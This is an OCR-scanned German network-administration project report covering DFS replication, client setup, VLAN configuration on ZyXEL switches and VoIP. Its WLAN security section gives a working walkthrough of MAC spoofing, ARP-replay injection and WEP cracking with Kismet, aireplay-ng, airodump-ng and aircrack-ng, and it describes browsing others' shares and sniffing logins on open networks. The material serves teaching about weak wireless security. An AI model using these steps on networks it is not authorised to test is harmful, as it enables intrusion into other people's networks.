Yerknipfung laschen

ansicht »

Bkrualisisren

Um eine Replikation zu ermoglichen, muss ein
zweites Ziel erstellt werden.

evesziel 20|

Geben Sie ein Ziel an, das mit dieser WYerknlipfung assoziiert werden zoll. Wenn
Benutzer auf diese VYerkniipfung klicken, wird der freigegebene Ordner, der alz
Ziel angegeben wurde, geoffnet.

Gewahlte Yerknupfung:
I\\JACDME WDFSWBACKUF

Zielpfad [zum freigegebenen Ordner):

I\\Ioc-srvm o jacome. localdatend]

Durchsuchen. .. |

R
0K |  Atbechen |

¥ Dieses Ziel dem Beplik ationssatz hinzufiigen

Hier geben wir als Zielpfad, den zu
replizierenden Server ein.

Datei  Akkion  Ansicht 7
«= | BEFRR 28,

.E Verteiltes Dateisystem (DFS) | | Ziel

EI% Y\jacome.local\DFS Ei'l,'l,ber—serE
1 {1

: Meues Ziel : it
By Neweszel

Status Oberprifen
Werknipfung ldschen

Replik configurieren. .,

ansicht 3

akrualisieren
Liste exportieren. ..

Eigenschaften

HilFe:

Die Replikation muss mit einem Rechtsklick auf
die Verkniipfung eingerichtet werden. =2
»Replikation konfigurieren®.

Wiahlen Sie einen ersten b aster:

Ziel Stagingordrer

0 i C:4Fre-Staging
glHHber-serlZ.I:uer.iau:nme.Iu:u:al"'.u:lat... C:A\Fra-Staging

1] I R
Bereitztellen... |

Zuerst muss der erste Master angegeben
werden. Was in unserem Fall der Top-Level
Domain Controller ist.
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Als Topologie wird ,Full Mesh” verwendet. Was

it der Topologie wird die Richtung der

Infarmationzreplikation 2wizchen Ziglen gesteuert. in alle Richtungen funktioniert. (Totale
Wahlen Sie die Topologie fir diezen Replikatzatz aus. Vermaschung)
T opalagie:
Nach erfolgreicher Konfiguration, sehen wir ein

Datei  Aktion  Ansicht 2

- | Am FRR | @E -HE oG

grines ,Kreislein“ neben der Verknipfung.

.E Verteiltes Dateisystem (OFS) | Ziel I DFS-Yerweis I Status I
E@ Y\jacome. locallDFS @ubel-srvm el Akkiviert Online
: 94 backup_ber @'l,'l,bas-srvﬂl.bas.... Akkiviert Online
B0} cisliste @'l,'l,loc-srvﬂl loc.ja...  akkiviert Online
GE\,'\Ber-serZl,Preis. o Bkkiviert Online

Wenn man nun auf die Domane zugreift, sieht
man den DFS Stamm. Von hier aus kann man
auch auf die Daten im DFS zugreifen.

Jjacome.localh dfs

Datei Bearbeiten  fnsicht  Eavoriten

3 ZOrHER T 1}' | ' suchen

Adresse |L V\jacome.localldfs

Marne = |

(Dibackup ber :

| Preislisten

zeoin X Bei der Replikation kann man zudem noch einen
IO —— Zeitplan erstellen. Aus performance Griinden

Alle Abbrechen . . . . .
ot SRNNNANRRES %i|i| setzten wir die Replikationszeiten von 22.00 —
Dienstag 06.00 Uhr.
Mittwoch r " Replikation picht verfiigbar

- III I & Beplikation verfiighar
Freitag III
Samstag
Sonntag

bdontag von 00:00 bis 01:00 Q

3.4.8 Weitere Infos
Auf dieser Seite findet man viele nitzliche Infos fir DFS:

e http://www.serverhowto.de/Planung-Installation-und-Konfiguration-des-Distributed-File-System-
DFS-unter-Windows-Server-2003.338.0.html

3.5 Konfiguration der Clients
Wir fuigen die Clients der Subdomane hinzu: ZUE.JACOME.LOCAL, damit wir uns an diesem Domaéanencontroller
anmelden kénnen.

Auf der Netzwerkkarte aktivieren wir DHCP, damit der Computer automatisch eine IP-Adresse bezieht.
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3.5.1 SID (Computer Security Identifier)

Jeder PC muss fiir seine eindeutige Erkennung im LAN sein individuelles Erkennungsmerkmal haben. Dies ist
der Computername und die SID, wie beim Menschen der Fingerabdruck. Kopiert man eine Festplatte mit
einem Betriebssystem und wiirde beide Rechner gleichzeitig ins Netz bringen, wiirde eine Fehlermeldung
kommen, dass der Rechner zweimal im Netz vorhanden ist. Hierbei hilft ein Freeware-Tool von Sysinternals,
welches die SID und den Rechnernamen andert.

Der Befehl lautet:

newsid /a newname

Der Parameter "a" steht dabei fiir den automatischen Ablauf und "newname" ist die Variable fiir den neuen
Computernamen. Anschliessend braucht nur noch die IP gedndert werden, falls sie statisch ist. Weitere
Informationen gibt es auch auf der angegebenen Seite.

Da wir die Computer per Image installierten, missten wir eigentlich die SID andern. Aber:

Hinweis: Die SID wird jedoch verandert, wenn wir einen Computer in eine Domane einbinden. Deshalb
missen wir die SID nicht andern!
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4 WLAN Security

Bei WLAN kann jeder die Signale, die in der Luft sind, mit einer kompatiblen Antenne auffangen und
analysieren, um unberechtigt Informationen zu erhalten oder gar zu manipulieren. Dies ist auch so, weil man
die Funkweite nicht auf ein Gebdude beschranken kann und somit die Strahlen bis auf die Strasse gelangen.

4.1 Viele Schutzmassnahmen, die nichts bringen

Es gibt verschiedene Methoden, ein WLAN sicher zu machen. Es gibt grundlegende Schutzmassnahmen wie
z.B. MAC-Filter aktivieren oder das aussenden der SSID zu unterbinden.

Mit Kismet kann man jedoch auch nach Netzen suchen, die ,versteckt” sind. Kismet zeigt ausserdem auch
die MAC-Adressen der Clients an, die mit dem Netz verbunden sind. Praktisch. Somit sind die ersten zwei
Schutzmassnahmen nichts wert.

4.2 Hide SSID bei Kismet

Kismet zeigt eine versteckte SSID an:
Network List {Packets)
Name T W Ch Packts Flags

Gallilec
Exodus

Uber diese kdnnen wir uns nun mit dem WLAN verbinden, oder beginnen den WEP-Schliissel zu berechnen.

4.3 MAC-Adressen falschen

Kismet zeigt die MAC-Adressen der Clients an:

Client List—(Autofit)
T MAC Manuf Data Crypt Size IP Range

F 00:09:5B:A1:B0:B3 Netgear 0 0 6B 0.0.0.0
S FF:FF:FF:FF:FF:FF Unknown 0 0 6B 0.0.0.0

Diese konnen wir nun falschen: Man kann die MAC-Adresse auf verschiedene Arten andern:

Wir kdnnen die MAC mit dem Standard-Tool IFCONFIG oder Gber MACCHANGER dndern. Simpel!

root@discordia:~# ifconfig ethO | grep Hardware

ethO Link encap:Ethernet Hardware Adresse 00:1c:25:74:cd:06
root@discordia:~# ifconfig ethO hw ether AA:AA:AA:AA:AA:AA
root@discordia:~# ifconfig ethO | grep Hardware

ethO Link encap:Ethernet Hardware Adresse aa:aa:aa:aa:aa:aa
root@discordia:~# macchanger ethO -m 00:1c:25:74:cd:06

Current MAC: aa:aa:aa:aa:aa:aa (unknown)

Faked MAC: 00:1c:25:74:cd:06 (unknown)

root@discordia:~# ifconfig ethO | grep Hardware

ethO Link encap:Ethernet Hardware Adresse 00:1c:25:74:cd:06
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4.4 Netzwerkdetails mit Kismet auflisten

[H—Hetwork Details
Name : Excdus

|| ss1iD : GALILEC

Server : lccalhest:2301

BSSID : DO:09:5B:88:CA:ED
Carrier : IEEE 80Z.1lla

Manuf : Netgear

Model : Unkneown

Matched : 00:09:5B:00:00:00/FF:FF:FF:00:00:00
Max Rate: 36.0

B55 Time: calaTeel3’7

Max Seen: 1000 kbps

First : Fri May 30 23:20:17 ZO008
Latest : Fri May 30 23:34:02 2008
Clients : O

Type : Access Point (infrastructure)
Infc

Channel : 11

Priwvacy : Yes

Encrypt : WEF

Decryptd: No

Beaccn r 25600 (26.214400 sec)
Packets : 18896

Data : 0
LLC : 1B8EB9d
Crypt HEY]
Weak : D
Dupe IV : 0O
Data : OB
Signal
Fower : —87 (best -74}
Noise : 0 (best 0)

-| IP Type : Ncne detected
-l Min Lec : N/fA
Max Loc : N/A
Range : N/RA

Daraus kénnen wir schon viel ablesen. Die Verschliisselung ist z.B. WEP. Wir sehen die MAC-Adresse vom
Router und der Hersteller. Somit kdnnen wir in einer Tabelle das Standardpasswort nachschauen. Damit wir
mehr Pakete sammeln kdnnen, sehen wir, dass wir auf Channel 11 lauschen missen. In KISMET kann man das

mit + H einstellen.

4.5 WEP-Verschlusselung

Man kann das eindringen in ein Netzwerk mittels Verschlisselung verbieten. Eine schwache Verschlisselung
ist WEP (Wired Equivalent Privacy). Wir sniffen den Netzwerkverkehr mit AIRobumP-NG oder KiSMET und
schreiben ihn in ein Dumpfile. Danach entschliisseln wir ihn mit AIRCRACK-NG.
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AIRODUMP-NG in Action

Aircrack-ng 1.0 betal

[00:00:12] Tested 3537600 keys (got 49 IVs)

KB depth byte (vote)
0 of 1 A3 (1024) 1B( 3212) ZB({ 321Z) 82( 512) BT7( 3512)
1 o/ 1 TF({ 7e8) 6E( 31Z) AS{ 21Zz) B4( 31Z) 01{ Z38)
z of 1 E4( 212) BA{ 212) 04( 2Z56) 10{ Z2a) 1A({ Z328)
3 o/ 1 13( 212) 65( 312) 00{ 2Z2a) 01( Z254) OF{ Z256)
= o/ 1 OD( 212) 79( 31z2) CO{ 51z)y DO{ 512) DA{ 51z}
ol o/ 1 Ea( 212) 4C{ 512z) 58( 212) DA{ 3512) E5({ 321z2)
a o/ 1 FF{ 512) 98( 31Z) BF{ 51Zz) E9( 51Z) 01{ Z58)
7 of 1 T4( T7ed) 0D( 31Z) Ae{ 21z) FzZ( 31Z) ZzzZ{ Z58)
B o/ 1 Fa({ 7e8) 9C( 312Z) B7{ 21z) E8( 31Z) 03{ Z38)
9 o/ 9 SE({ 212) 6a( 212) 83( 21z) CT7( 21zZ) E9{ 51z2)
10 o/ 1 40( 7e8) 67 ( Tab) 2D{ 51z} 9B( 51zZ) DA{ 51z}
11 o/ 1 69 7e8) 23 ( 312) 43{( 51z) GA( 51z) 87( 51z}
12 of 1z 44 ( 440) 69( 440) 90( 440) Dz 440) 0C{ 256)

Damit man den WEP-Schliissel berechnen kann, braucht man zwischen 500'000 und 700'000 Pakete.
Entweder wartet man sehr lange, oder man erzeugt mit der richtigen Netzwerkkarte und dem richtigen
Treiber selber Netzwerkverkehr. Dazu benutzt man das Tool AIREPLAY-NG. Dieses schickt ARP-Requests in das
betroffene WLAN und erzeugt somit Traffic.

Hier ist ein Auszug aus der Manpage von AIREPLAY-NG:

DESCRIPTION
aireplay-ng injects specially generated ARP-request packets into an
existing wireless network 1in order to generate traffic. By sending
these ARP-request packets again and again, the target host will respond
with encrypted replies, thus providing new and possibly weak 1Vs.

aireplay-ng supports single-NIC injection/monitor.
This feature needs driver patching.
Wenn man so ca. 700 MB Traffic mithoren konnte, kann man das Dumpfile an AIRCRACK-NG Ubergeben und
dieses knackt das Kennwort innert Sekunden/Minuten:
root@discordia:~# aircrack /var/log/kismet/Kismet-May-29-2008-1.dump
Opening /var/log/kismet/Kismet-May-29-2008-1.dump
Read 6062 packets.

# BSSID ESSID Encryption

1 00:19:CB:03:E7:6A discordia WPA (0 handshake)
2 00:18:39:22:B5:FA EXODUS WEP (49 1Vs)

3 00:18:39:2C:E3:46 U No data - WEP or WPA

4 00:09:5B:88:CA:E0 GALILEO WEP (36 1Vs)

5 00:13:10:05:D4:DO0 linksys WEP (2 1Vs)
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Index number of target network ? 2

Not enough 1Vs available. You need about 250.000 IVs to crack
40-bit WEP, and more than 800.000 1Vs to crack a 104-bit key.

Wir sehen, dass ich zu wenige Pakete gesammelt habe. Wenn wir AIREPLAY-NG einsetzen kénnten, ware das
WEP-Passwort innert Minuten geknackt.

4.6 Fazit

Wir sehen: WEP ist sehr einfach zu knacken. Hierfir braucht man keine Hacker-Fahigkeiten. Man liest sich in
die MAN-Pages der Tools ein (AIRCRACK-NG und KiISMET) und probiert ein bisschen rum...

Hinweis: Das unerlaubte eindringen in Netzwerke ist strafbar! Daher gilt: Man soll sich nicht erwischen
lassen und deshalb gar nicht probieren. Man darf am eigenen Netz rumspielen und Giben ein WEP-Schliissel
zu knacken. Wir selber lernen auch daraus, dass wir uns selber besser schiitzen missen.

WPA ist eher dazu gedacht, dass sich nicht jemand zuféllig mit dem Netzwerk verbindet... ©

Ein wesentlich besserer Schutz ist WPA. Diesen Schutz kann man nicht zuriick berechnen. Man kann zwar
Bruteforce oder Dictionary-Attaken machen, aber Mathematisch ist der WPA-Schlissel nicht knackbar.
Wenn man also ein sichere Passwort wahlt und es sicher aufbewahrt (digital verschliisselt!), kann ,nichts”
passieren.

4.7 Wardriving

Ein neuer Volkssport ist Wardriving. Leute suchen nach (offenen) WLANSs.

let's warchalk..! Das ziel ist nicht etwas zu beschadigen, oder in geschiitzte Netze
KEY SYMBOL - einzubrechen. Man will legidlich schauen, wo etwas offen ist und was es
ﬂg%% dort zu schauen gibt. Oft findet man Musik, Bilder oder auch sogar einen
Netzwerkdrucker.
bandwidth Nach dem einloggen in das Netzwerk, lasst man nvAP laufen. Das ist ein

CLOSED ssid IP- bzw. Portscanner. Er scannt einen Bereich von Ips ab und prift,

NODE welche Ports offen sind:
Wenn man eine Man-in-the-Middle-Attacke machen wiirde, kdnnte man

Daten manipuliert weiterschicken.

ssid access . . . . .
contact Wir sehen nun was es gibt. Wir mounten Windows-Freigaben und

kdnnen vielleicht sogar Familienfotos bestaunen. Eventuell hinterldsst
bandwidth man noch einen Ausdruck auf dem freigegebenen Drucker, dass das

blackbeltjones.com/warchalking Netzwerk nicht verschlisselt ist.

Wenn man nur Uber ein offenes Netz surft, macht man nichts illegales,
solange man nichts manipuliert oder irgendwo einbricht. Es kdnnte auch eine Falle sein: Mitten in der Statt
steht ein offenes WLAN. Super, wir connecten und loggen uns auf FTP-Servern, POP3-Konten, VNC-Hosts etc
ein. Jeder (!) kann den Datenverkehr mithéren und solange nichts verschlisselt ist, kann jeder (1) mit DsniFF
die Logindaten abhdren. Man kann sich davor schiitzen, indem man sich per VPN in ein anderes (virtuelles)
Netzwerk einwahlt (verschlisselt) und in diesem Netz mit den Arbeiten beginnt.
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4.8 Demo-Attacke

4.8.1 Netzwerkkarte vorbereiten

root@discordia:~# ifconfig wlan0 down WLAN Interface deaktivieren
root@discordia:~# iWCOﬂfig wlan0O mode WLAN Interface in Monitoring-Modus
monitor

(nur horen)

root@discordia:~# ifconfig wlanO up WLAN Interface starten

4.8.2 Datenverkehr erzeugen

Damit wir den Datenverkehr mithéren konnen, miissen wir zuerst Datenverkehr erzeugen. Dies machen wir
mit einem passenden Treiber fiir die WLAN-Karte, damit man gleichzeitig senden und empfangen kann (im
monitoring-Modus), oder wir nehmen ein zweites Notebook und erzeugen mit diesem Notebook Traffic.
Dazu nutzen wir das Tool AIREPLAY-NG. Das Tool sendet ARP-Requests an den AP und erzeugt somit Traffic.

aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 wlanO
e -3 bedeutet, dass es normale arp requests erzeugt
e -Bistdie BSSID vom AP
e -Hist die source MAC-Adresse vom ARP-Request. Hier kann ein Fake eintragen.

e  WLANO ist das WLAN-Interface

4.8.3 Datenverkehr mithoren mit Kismet

root@discordia:~# Kismet Kismet starten
| roct@discardia; — ¥ | befahle.od + (- Desktop) -VIM
Ne rk 5

Kismet schreibt im Hintergrund alle
Pakete die herumschwirren in eine
Datei.

El Sortieren nach Pakete

H Nur noch den Kanal des markierten
WLANS sniffen

@ Kismet verlassen

4.8.4 Datenverkehr mithoren mit Airodump-ng

airodump-ng —i wlan0O —w file.dump —c 11 Wir héren mit der WLAN-Karte WLANO
auf dem Kanal 11 und speichern den
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Dump in das File FILE.DUMP.

4.8.5 Knacken mit Aircrack 2.3

root@discordia:~# aircrack /var/log/kismet/Kismet-

Jun-02-2008-1.dump

Aircrack starten und das dumpfile
von kismet mit den gespeicherten
Paketen mitgeben

Read 3598511 packets.

Aircrack list die Pakete ein...

root@discordia:~# aircrack /var/log/kismet/Kismet-Jun-02-2008-1.dump

Opening /var/leg/kismet/Kismet-Jun-02-2008-1.dump
Read 3598511 packets.

# BSSID ESSID

00:0F:CC:91:8D:5C 4430 1220
00:0F:CC:91:78:C8 4427 3404
00:13:C3:44:C7:B0  Guest
00:0F:CC:91:99:EC 4431 3040
00:C0:49:FF:38:28 USR3461
:C0:49:F1:29:00 FRE-WLAN
00:C0:49:FF:30:92 USR3461
00:C0:49:FE:F9:1C safeWLAN
00:14:Cl:1D:31:82 USR3461
00:13:C3:44:C7:E0

O W o oUW
o
o

=

Index number of target network ? I

Encryption

WPA (0 handshake)

WEP (4 IVs)

None (0.0.0.0)

WPA (0 handshake)

No data - WEP or WPA
WPA (0 handshake)

WEP (7 IVs)

EAPOL+WEP (3070729 IVs)
WEP (445 IVs)

None (0.0.0.0)

49 Weitere Infos

e http://www.wardriving.ch

Das zuhackende WLAN wahlen: 8
safeWLAN

Aircrack findet den Key anhand der
gespeicherten Pakete innerhalb von
5 Sekunden!

Pwned!
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5 VLAN realisieren

5.1 Theorie

Wir nehmen ein normales Frame und hiangen ein VLAN-Tag daran. Dieses wird durch eine VLAN fahigen
Switch hinzugefiigt und danach wieder entfernt.

Anhand dieses Tags erkennt der VLAN-Fahige Switch, woher das Ethernet-Frame kommt und wohin es muss.
Das Frame wechselt das VLAN nie! Die Clients, die in unterschiedlichen VLANS sind, sehen sich nie. Das

kommt denen vor, als ob sie in einem eigenen physischen Netzwerk sind.

55 [ 55 [ 55 [ 55 |55 | 55 [ 55 [p5f oo [40 [ 76 [ 11 [ 22|33 Joo[40| e[ 44 [ 55|66 81 [0 [ 555508 |00 11]22[33[ 44
o 73 I o - - = o oo
@ (%] = = . ==
- > o 2 g|g
s 2 S =|5
& : 2 3

Ethernet-Frame: Min. 64, Max. 1518 Byte (mit VLAN-Tag: Max. 1522 Byte

Ethernet-Paket )

5.1.1 Einfaches Beispiel

RS
%@ N

Ein VLAN unterteilt ein Physisches Netz in mehrere (virtuelle) Netze. Die Kommunikation funktioniert nur
Gber den Router = grossere Sicherheit im Netz. Die Unterteilung erfolgt entweder auf dem Router, per
Software (anhand der MAC Adresse) oder auch nach Benutzername. Die sicherste ist die 1. Variante, da man

Physisch an der bestimmten Dose sein muss.

Ein
Physisches
VLAN 01 Netzwerk

VLAN 02

* Quelle: Wikipedia: http://de.wikipedia.org/wiki/Virtual Local Area Network
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5.1.2 Dynamisches VLAN

Dynamsiche VLANS sind sehr flexibel und leicht anzupassen. In dynamischen VLANs erkennt der Switch beim
Anschluss des Systems an einen anderen Port diesen anhand seiner MAC-Adresse und liest aus der
VLAN-Management-Datenbank aus, zu welchem VLAN-Segment er gehort. Ortsunabhangigkeit eines
dynamischen VLANSs ist ein entscheidender Vorteil, wenn Mitarbeiter beispielsweise 6fter denStandort
wechseln.

Sogar raumlich entfernte Mitarbeiter — etwa im Heimbiro — bleiben automatisch Mitglied des jeweiligen
VLAN-Segments. Broadcasts aus einem Segment werden nicht in ein anderes weitergeleitet. VLAN-Segmente
sind voneinander weitgehend unabhangig.

Dynamische VLANSs sind im Gegensatz zu Statischen VLANs eher unsicher, da eine MAC-Adresse eines
Rechners gedndert werden kann und somit eine falsche Identitat vorgetdauscht werden kdnnte.

5.1.3 Static-VLAN

Beim Statischen VLAN werden die VLANS auf den Port eingestellt. Damit werden alle Gerate, die an einem
gewissen Port angeschlossen sind, auf dieses voreingestellte VLAN gestellt.

5.2 Praxis

Wir erstellen folgendermassen die VLANS:

VLAN’s JacoME AG

VLAN |Bezeichnung |Fixed Forbidden
100 |SRV 100,101,102,103

101 |Allgemein 100,101 102, 103
103  |Chef 100,101,102,103

Core-Switch

Port  Bezeichnung VLAN Port  Bezeichnung VLAN Port  Bezeichnung VLAN
1-2 Allgemein 101 1-2 Allgemein 101 1-2 Allgemein 101
3 Chef 103 3 Chef 103 3 Chef 103
5-6 SRV 100 5-6 SRV 100 5-6 SRV 100

Das Ziel ist die logische Unterteilung unseres Netzes in 2 virtuelle LANs , Allgemein® und ,,GL_FI“. Weiter
wurde noch ein VLAN 103 definiert, welches auf beide anderen VLANS sieht.
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Der Chef und die Server sehen also beide VLANs.
5.2.1 Die Verschiedenen VLANS

5.2.1.1 VLANs

VLAN Bezeichnung Fixed Forbidden

Allgemein 100,101 102, 103

5.2.1.2 Ports

Auf jedem Switch sind die Ports folgdendermassen konfiguriert

Port Bezeichnung VLAN

1-2 Allgemein 101

5.2.2 VLAN fiir VoIP
Fur VolP haben wir ein VLAN 104 definiert.

Die VLAN-Konfig sieht nur folgendermassen aus:

VLAN Bezeichnung Fixed Forbidden

01 |Algemen 100,101 102,103

Die Ports 10-27 wurden fir VolP konfiguriert:

Port Bezeichnung VLAN

1-2 Allgemein 101
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5.2.3 Konfiguration auf dem Switch (Web-Interface)

ZyXEL

 MENDTTTTTT e,

4 _Basic Setting [ @ VLAN VLAN Port Setting Static VLAN
g 2 The Number of VLAN =5

2

g.. Index ViD Elapsed Time Status

> Management PP 1. L1 R PN - . L I

LB 223630 o State

VLA L2 1 SO ., 1 OO | .| | "
Static MAC Forwarding L T S P
Filtering 5. 04 ... 20740 . Static

Spanning Tree Pratocol
Bandwidth Control
Broadeast Storm Control
Mirraring

Hiersind die 4 VLAN’s in der Ubersicht der existierenden VLAN’s auf den Switches welche man in der Grafik
unten siehtDie genaue Erlauterung von Fixed und Forbidden wird wahrend der Installationsbeschreibung
noch geklart.

Das VLAN 104 entspricht dem VOIP VLAN welches in diesem Arbeitsschritt noch nicht gebraucht wurde.

VLAN [Bezeichnung |Fixed (erlaubt) |Forbidden (nicht erlaubt)
100 |[SRV 100,101,102,103

101 |Allgemein 100,101 102, 103

103 |Chef 100,101,102,103

Die Eigenschaften des VLAN’s 100 SRV sehen folgendermassen aus:

VLAN Status

....... ACTIVE
....... Name SRY
............. VLAN Group ID 1aa
Static MAC Farwarding Port Control Tagging
Filtering Mormal v i
Spanning Tree Protocol Mormal &) Fixed
Bandwidth Contral 2 0 Mormal @® Fived ) Forbidden [ T« Tagging
Broadcast Storm Contral
Mirrorin
: 3 : 4 ) Maormal @ Fixed ) Forbidden [ T« Tagying
Link Aggregation e S O ............................. @ ..... MR O ........... R D ................. L S—
Port Authertication MHormal Fixed Forbidden TxTagaing
Patt Security
Classifier 7 O Normal ® Fixed O Forbidden [ Tx Tagaing
Falicy Rule
Cueding Method
VLAN Stacking 10 O Mormal O Fixed ) Forhidden [ T« Tagging
Multicast

12 ) Maormal ) Fixed & Forbidden [ T« Tagging

(3 Cavkiddan

Die Server kdnnen von allen Ports aus gesehen werden, daher sind die Ports von 1-7 alle auf Fixed gesetzt.
Von allen anderen Ports kann nicht auf die Server gesehen werden.
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5.2.3.1 VLAN 101 Allgemein
Die Eigenschaften des VLAN’s 101 ALLGEMEIN sehen folgendermassen aus:

[ @) Static VLAN ] VLAN Status
ACTIVE
Name ALLGEMEIN
VLAN Group ID 1m
Port Control Tagging
* Mormal v Tx Tagging
1 O Maormal @® Fixed O Forbidden [ T« Tagging
2 O Mormal @ Fived O Forbidden [ T« Tagging
3 O Marrnal @ Fixed O Forbidden [ T« Tagging
4 O Mormal O Fived & Forbidden [] T Tagging
g O Marmal @ Fived O Forbidden [J T« Tagging
[ O Maormal @ Fixed O Forbidden [ T« Tagging
7 @ Mormal O Fixed O Forhidden [ T« Tagging
27 @ mMormal O Fived ) Forbidden [] T Tagging
28 O Marmal @ Fixed O Forhidden Tx Tagging

In diesem VLAN befinden sich die Allgemeinen Clients. Diese sind an den Switchports 1 und 2 angeschlossen,
daher sind diese Punkte auf Fixed gesetzt worden. An Port 3 hangt der Chef PC welcher ebenfalls die
allgemeinen Arbeitsstationen sehen darf. Die Server welche an Port 5 und 6 angeschlossen sind kénnen die
Allgemeinen Arbeitsstationen auch sehen.

5.2.4 VLAN 102 GL_FI
Die Eigenschaften des VLAN’s 102 GL_Fl sehen folgendermassen aus:

L @ Static VLAN | VLAN Status
ACTIVE
Name GL_FI
VLAN Group ID 102
Port Control Tagging
* Mormal v T Tagging
1 O Mormal O Fixed & Farhidden [T T« Tagaing
2 O Mormal O Fived & Forbidden [ T« Taguing
3 O Mormal @) Fixed O Forhidden [] T« Tagaing
4 O Mormal @ Fixed O Forbidden [ T« Taguing
] O Mormal @ Fixed ) Farhidden [ T« Tagaing
B O mormal ® Fixed ) Forbidden [ T« Taguing
7 & Mormal O Fixed O Forhidden LI T Tagging
7 & Normal O Fixed O Forbidden [ T« Tanging
28 O Naormal ® Fixed O Forbidden T Tagging

o e E—— e T fen s amamem

Auf das VLAN 102 kdnnen alle angeschlossenen Clients und Server sehen ausser die zwei allgemeinen
Arbeitsstationen.
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5.2.5 VLAN 103 CHEF
Die Eigenschaften des VLAN’s 103 CHEF sehen folgendermassen aus:

[ @) Static VLAN VLAN Status
________________________________________ Actve M
Name |CHEF |
VLAN Group ID |1 03 |
Port Control Tagging

Auf das VLAN CHEF kdénnen nur die Server und der Client des Chefs sehen.

Hinweis: In diesem Printscreen ist ein Konfigurationsfehler, der GL_FI Client an Port 4 dirfte das Chef VLAN
auch nicht sehen.

5.2.6 3.4.2 Portkonfiguration auf den normalen Switches
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Port Ingress Check GVRP Acceptable Frame Type WLAN Trunking

O
Hg
(=]

O

=

£

O

In der Ubersicht oben sieht man, an welchen Ports welches VLAN definiert worden ist.

Auf Port 28 ist ein VLAN Trunking definiert worden, durch diesen Port sind die Switches mit dem Core-Switch
verbunden.

Wenn dieser Arbeitsschritt fertig ist, hat man den Switch vollstandig auf unsere VLAN’s abgestimmt und ist
fertig.

Port  Bezeichnung VLAN
1-2 Allgemein 101
S Chef

03
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5.2.7 3.4.3 Portkonfiguration auf dem Core-Switch

' @) VLAN Port Setting ] Protocol Based Vlan VLAN Status
............................ L S
Port isolation O
Port Ingress Check PVID GVRP Acceptable Frame Type VYLAN Trunking

: O ] O
.............. 1|:|1
.............. 2I:l__1
.............. 3|:|__1
T = Y L N R - B B
______________ = .o b1 o B =
______________ I = L B = B B =
______________ A = L B = B B =
______________ I = N L B = R B

: O O O
............. 1 |;||:|1|:| |:|
............. 1 1|_|__1|_| o

Auf dem Core-Switch ist nichts anderes zu tun, als dass man bei den Ports an welchen die normalen Switches
angehangt sind das VLAN Trunking einzuschalten die Hackchen bei GVRP sind nicht zu setzen.

Hinweis: Das Generic VLAN Registration Protocol (GVRP) ist ein Netzprotokoll zur Verwaltung von VLANSs.
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6 VoIP

6.1 Theorie

6.1.1 Was ist VoIP

VolP kann erst seit kurzem professionell genutzt werden. Die verschiedenen Lésungen haben Vor- und
Nachteile.

Mit VolP kann man Uber das Internet telefonieren.

8 Skype™ - martin anderson

File “iew Contacts Tools Call Help

5
6.1.2 Skype Q L2 6 0 0@ o

. . . .- . . . Add Contact Search Conference | Chat Send File Profile | Hold Mute
Skype ist eine unentgeltlich erhéltliche, proprietare VolP-Software

3~ Martin Anderson (video is great..) P 54 new events | €646

mit ,,Instant Messenger“-Funktion, Dateilibertragung und

s Contacts | =] Dial | €5 History | @ Barbara Anderson ‘

Videotelefonie.

Sie ermoglicht das kostenlose Telefonieren via Internet von
Computer zu Computer, sowie das gebiihrenpflichtige Telefonieren
ins Festnetz und zu Mobiltelefonen (SkypeOut). Der ebenfalls
gebihrenpflichtige Dienst Skypeln ermdglicht es, auch Anrufe aus
dem herkémmlichen Telefonnetz entgegenzunehmen. In der
aktuellen Windows-Version sind Konferenzschaltungen mit bis zu 25

Gesprachsteilnehmern moglich.

& Barbara Anderson

Die Kritik an Skype ist, dass es nicht mit anderen VolP-Angeboten (arbaraseosat)
kompatibel ist, welche mit offenen Standards wie SIP oder H.323 i S Frandisca for oo wesks
arbeiten.
op My Video Call Duration 01:07

Der Leistungsumfang reicht also (noch) nicht fiir den professionellen O
Bedarf.
Bei Skype kommt mir immer der Blogeintrag von Marc Ruef in den e

Qv 2 ¥ Callwith Barbara Anderson 4,017,250 Users Online

Sinn: http://www.computec.ch/comment.php?comment.news.215

6.1.3 Gesprachsiibertragung®

Wie bei herkémmlicher Telefonie werden die akustischen Signale der Sprache zunachst analog mit einem
Mikrofon (z. B. Gber den Telefonhérer) in elektrische Signale gewandelt. Diese analogen elektrischen Signale
werden dann digitalisiert (kodiert). Optional kénnen sie auch komprimiert werden (verbreitet sind dafir z. B.
ITU-T G.723.1 oder G. 729 Annex A), um die zu Ubertragende Datenmenge zu reduzieren. Der Transport der
so umgewandelten Daten erfolgt dann liber ein 6ffentliches oder privates Telekommunikationsnetz. Bedingt
durch das fir den Transport verwendete Verfahren der Paketvermittlung werden die Daten dazu in viele
kleine Pakete aufgeteilt.

6.1.4 Business Connect Professional (BCON)

BCON ist ein Servicepaket, das Swisscom bereitstellt. Man kann es rasch und flexibel Einbinden und
geografisch getrennt benutzen. Man kann sogar die Firmenhandys integrieren.

> Quelle: Wikipedia // http://de.wikipedia.org/wiki/Skype
® http://de.wikipedia.org/wiki/Voip#Gespr.C3.Adchs.C3.BCbertragung
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Die Hauptzentrale liegt im Hause Swisscom und die Clien ts (Hard- und Softphones) melden sich an der
Zentrale an.

Folgende Vorteile bringt BCON:
e Reduktion der Kosten
e Steigerung der Effizienz
e Flexiblitdt, Einfachheit
e Hohe Qualitat

Der Hauptanschluss muss via Swisscomanschluss angebunden sein. Nur so kann QoS (Quality of Service)
garantiert werden. Der Internetanschluss muss zuerst auf die Bedirfnisse der Kunden angepasst werden.

Swisscom Fhinet

Business-Connect-Verbund

Aussendienst

Mew York
Standort Bern

standort Zurkch

6.2 Praxis

6.2.1 VolIP auf dem iPhone’

Das iPhone ist ein neuartiges Smartphone mit einer Reihe von Funktionen, auch ein Skype-Client ist
vorhanden. Dieser nennt sich Fring, indem man das iPhone hackt und sich die Source
http://fring.com/iphone.xml hinzugefigt.

a|w|e|p: gu P!
a|s/o] Floln|K[L
v [xfe]venMED
e

’ Text von Semir Jahic
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Hier das Logo von fring Logo. Es ist ein von freien Entwicklern geférdert es Programm. Die iPhone
Community wachst immer mehr und die Technik revolutioniert eine Technik nach der anderen. Bei uns ist es
konkret die VolP Technologie.

Nachdem man sich einen fring Account erstellt hat, kann man sein Skypeprofil da aktivieren und nutzen.
Desn fring nutzt auch andere Dienste wie ICQ. Die Kommunikation war dusserst erfolgreich, wir konnten
Uber alle moglichen Wege kommunizieren.

Die Verbindung von PC-to-PC war sehr erfolgreich, die Headsets sind voll funktionsfahig und konnten per
Plug’'n’Play genutzt werden.

